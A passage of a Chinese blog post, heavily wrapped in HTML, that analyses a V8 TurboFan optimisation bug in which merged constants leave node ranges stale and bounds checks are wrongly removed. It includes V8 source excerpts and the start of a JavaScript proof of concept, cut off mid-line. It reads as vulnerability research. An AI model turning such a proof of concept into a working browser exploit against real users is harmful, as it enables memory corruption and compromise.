4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">left_node</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">opcode</code>，如下图<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">left-&gt;op_</code>为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Phi</code>，显然是不等于node的NumberAdd的，所以没能走入补丁的核心逻辑<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.08748615725359911" title="" data-type="png" data-w="903" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=95c46b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcDWGYHLcR5vdxJyYrWW73nlicmLNcNfLPslZpUyr3h1dfVficYfHV1fIA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从sea of nodes也能看得出来left的opcode<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.2119148936170213" title="" data-type="png" data-w="1175" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=abcab138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzceKYJ8j6kmDtc3CnUe15ThYEJzrMpevKJzmgMPXdnx1ialEhrlBMn0vA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">ok，我们本来的意图也是在下面这个NumberAdd结点进入补丁核心逻辑，从而合并右侧两个常量。<br/>断点断下，变量信息如下图<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.17777777777777778" title="" data-type="png" data-w="1035" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fa117e69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcqQqeZHjeacsBPOFofef9tKic2HwcCQcVZcpgOPO22x3MxODbMiaFbCqQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">从图中可以看到left的opcode为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>？不应该是上面的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code>结点吗？难道右侧结点是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">kNumberAdd</code>左侧结点是常量？ok，我们在调试器的监视中看下右侧结点的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">opcode</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.16071428571428573" title="" data-type="png" data-w="1344" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a1feb442&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcfzYwDjOTUyvbMz2rmUXk7Y1jcOTUEQmXQwOIl7lgnl1KicXvAmL0Qbw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">node-&gt;inputs_.inline_[0]-&gt;op_-&gt;mnemonic_</code>和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">node-&gt;inputs_.inline_[1]-&gt;op_-&gt;mnemonic_</code>分别为node结点的左右父节点的opcode的字符串表示，如上图所示，两个都是常量？我们从sea of nodes中看到的不应该是左add右常量吗？我们看下左结点的sea of nodes信息，如下图<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.20933977455716588" title="" data-type="png" data-w="621" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e11baa92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcSZadfRfF65MLrSsJ5mg9xu6EjQe9f4og6sibUfr25fuHZKibruWCZryw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">ok，到这我们大概就清楚了，左结点<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#40</code>的type为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range(9007199254740992, 9007199254740992 )</code>，被优化为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>了，所以调试信息左右结点全显示为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">那么问题又来了，我在构造poc时已经下意识防止出现这样的优化情况，所以使用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">(x==1)? :</code>这样的表达式，为的就是产生<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Phi</code>结点，防止优化成<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>。原来是因为，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">Phi</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range(9007199254740991, 9007199254740992)</code>，因为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">IEEE-754</code>精度丢失的问题，导致其中每一个元素和<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">+1+1</code>运算的结果均为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">9007199254740992</code>，所以导致<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">#40</code>在优化过程中还是被优化为了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberConstant</code>。最终还是没能走到补丁的核心代码，至此，poc为啥失败的原因就分析清楚了。</p><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（5）SimplifiedLowering Phase</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">阅读这个phase主要是和优化<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>结点相关。不像之前分析的Phase，调用位置在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl()</code>--&gt;<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">bool PipelineImpl::CreateGraph()</code>函数中，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLowering Phase</code>的调用位置在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">PipelineCompilationJob::Status PipelineCompilationJob::ExecuteJobImpl()</code>--&gt;<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">bool PipelineImpl::OptimizeGraph(Linkage* linkage)</code>中，也有很多的phase运行在这个阶段。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">跟踪<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLowering Phase</code>的调用流：<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLoweringPhase::Run()</code>--&gt;<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SimplifiedLowering::LowerAllNodes()</code>--&gt;<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RepresentationSelector::Run()</code>--&gt;<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RepresentationSelector::VisitNode()</code>中使用switch opcode处理各个结点，处理<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>代码如下</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// src\compiler\simplified-lowering.cc: 2401</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>      <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">case</span> IrOpcode::kCheckBounds: {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">const</span> CheckParameters&amp; p = CheckParametersOf(node-&gt;op());<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 左结点是index，获取其type</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>        Type index_type = TypeOf(node-&gt;InputAt(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 右结点时Length，获取其type</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>        Type length_type = TypeOf(node-&gt;InputAt(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (index_type.Is(Type::Integral32OrMinusZero())) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>          <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Map -0 to 0, and the values in the [-2^31,-1] range to the</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>          <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// [2^31,2^32-1] range, which will be considered out-of-bounds</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>          <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// as well, because the {length_type} is limited to Unsigned31.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>          VisitBinop(node, UseInfo::TruncatingWord32(),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>                     MachineRepresentation::kWord32);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>          <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (lower() &amp;&amp; lowering-&gt;poisoning_level_ ==<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>                             PoisoningMitigationLevel::kDontPoison) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// IsNone()的判断不太理解。</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>              <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 后续，判断index的max &lt; length的min，且index的min &gt;= 0.0</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>              <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 则直接使用左结点替换本checkbounds</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (index_type.IsNone() || length_type.IsNone() ||<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>                (index_type.Min() &gt;= <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0.0</span> &amp;&amp;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>                 index_type.Max() &lt; length_type.Min())) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>              <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// The bounds check is redundant if we already know that</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>              <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// the index is within the bounds of [0.0, length[.</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>              DeferReplacement(node, node-&gt;InputAt(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>));<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>            }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>          }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>        } <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>          VisitBinop(<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>              node,<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>              UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>              UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>      }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">index</code>范围来自<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NumberSub</code>结点的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range</code>，而在补丁代码中合并两个常量结点后，并没有去更新相关结点的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range</code>(更新range的相关函数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">UpdateRange</code>)</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// -----------------------------------------------------------------------------</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// Union and intersection</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>Type Type::Intersect(Type type1, Type type2, Zone* zone) {<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">导致了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CheckBounds</code>的错误消除。我们可以看<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">TypedLowering Phase</code>后的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sea of nodes</code><br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.2858890701468189" title="" data-type="png" data-w="2452" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=25f191ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzchfeojM5xBkpqjVq7ArTiagXa4joyMB04D9CMTgJmibAS84SkSHx9QLDg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">成功的POC</span></h3><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span>let opt_me = (x) =&gt; {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>  let arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> Array(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.3</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.4</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  let y = ( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740989</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  y = y + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit 